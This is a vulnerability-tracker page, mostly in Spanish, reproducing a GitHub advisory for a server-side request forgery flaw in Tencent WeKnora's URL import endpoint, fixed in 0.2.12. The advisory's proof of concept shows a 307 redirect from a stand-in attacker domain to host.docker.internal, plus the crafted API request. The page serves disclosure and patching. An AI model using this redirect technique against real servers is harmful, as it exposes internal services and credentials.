llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/Tencent/WeKnora

GHSA-595M-WC8G-6QGC

WeKnora is Vulnerable to SSRF via Redirection

Parche disponible
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche a -38 d de la divulgación
Exposición259 dDesde la divulgación, 5 mar 2026, 4:49 p. m.
Detección256 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche v0.2.12
Monitoreo
Detectada
26 ene 26
5 mar 26
23 mar 26
17 nov 26
19 nov 26
26 ene 26
11 abr 26
24 jun 26
6 sept 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche v0.2.12 github.com/Tencent/WeKnora · -38 d desde divulgación
Divulgación Publicada GHSA-595M-WC8G-6QGC divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

The application's "Import document via URL" feature is vulnerable to Server-Side Request Forgery (SSRF) through HTTP redirects. While the backend implements comprehensive URL validation (blocking private IPs, loopback addresses, reserved hostnames, and cloud metadata endpoints), it fails to validate redirect targets. An attacker can bypass all protections by using a redirect chain, forcing the server to access internal services. Additionally, Docker-specific internal addresses like `host.docker.internal` are not blocked.

Details

The `/api/v1/knowledge-bases/{id}/knowledge/url` endpoint validates the initial URL but follows HTTP redirects without re-validating the destination. This allows attackers to:
1. Submit a URL to an attacker-controlled domain (passes validation)
2. Have that domain respond with a 307 redirect to an internal service
3. The backend automatically follows the redirect without checking if the destination is restricted
4. The internal service response is exposed to the attacker

### Validation Gaps
- The `IsSSRFSafeURL()` function (in `internal/utils/security.go`) validates the initial URL thoroughly, but there's no validation of HTTP redirect targets
- `host.docker.internal` is not in the `restrictedHostnames` list
- Docker-specific IP ranges (172.17.0.0/16 for bridge networks) are not explicitly blocked
- The code validates `parsed.Hostname()` from the initial URL, but redirect Location headers bypass this check

### Root Cause Analysis
The backend makes the security mistake of trusting the server's HTTP client library to be secure. In Go, when using http.Get() or similar functions, the standard library will automatically follow redirects up to 10 times by default. The SSRF validation only checks the URL passed to the endpoint, not intermediate redirects.

PoC

Step 1: Set up an attacker-controlled server that responds with a redirect:

HTTP/1.1 307 Temporary Redirect
Location: http://host.docker.internal:7777
Content-Type: text/html
Access-Control-Allow-Origin: *

Step 2: Send the request with a clean URL:

POST /api/v1/knowledge-bases/dbadd153-9e60-4213-9553-9f78dbcba0dc/knowledge/url HTTP/1.1
Host: localhost
Content-Type: application/json
Authorization: Bearer <valid_token>

{"url":"https://attacker-domain.com","tag_id":""}

The URL `https://attacker-domain.com` passes all validation checks because:
✓ Valid `https://` scheme
✓ Not an IP address (it's a domain)
✓ Not in restricted hostnames
✓ Doesn't resolve to a private IP (assuming attacker controls a public domain)

Step 3: The backend's HTTP client follows the redirect to `http://host.docker.internal:7777`, which:
✗ Is not validated
✗ `host.docker.internal` is not in the blocklist
✗ Successfully accesses the internal service

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) via HTTP Redirect

Who is Impacted:
- The organization running the application
- Internal services and databases accessible from the application container
- Services in the Docker network (other containers, internal infrastructure)
- Sensitive data stored in internal services

Potential Consequences:
- Access to internal databases (PostgreSQL, MongoDB, MySQL) running in Docker
- Information disclosure from internal services (Redis cache, configuration servers)
- Access to Docker container metadata and environment variables
- Lateral movement to other containers in the same Docker network
- Exfiltration of sensitive configuration, API keys, or database credentials
- Potential RCE if internal services have exploitable vulnerabilities

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
github.com/Tencent/WeKnora< 0.2.12
0.2.12
v0.9.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/Tencent/WeKnora
Corregida v0.2.12 -38 d v0.9.0 no afectada
Versiones corregidas0.2.12v0.2.12
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-30247
Otrahttps://github.com/Tencent/WeKnora/security/advisories/GHSA-595m-wc8g-6qgc
Otrahttps://github.com/Tencent/WeKnora

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.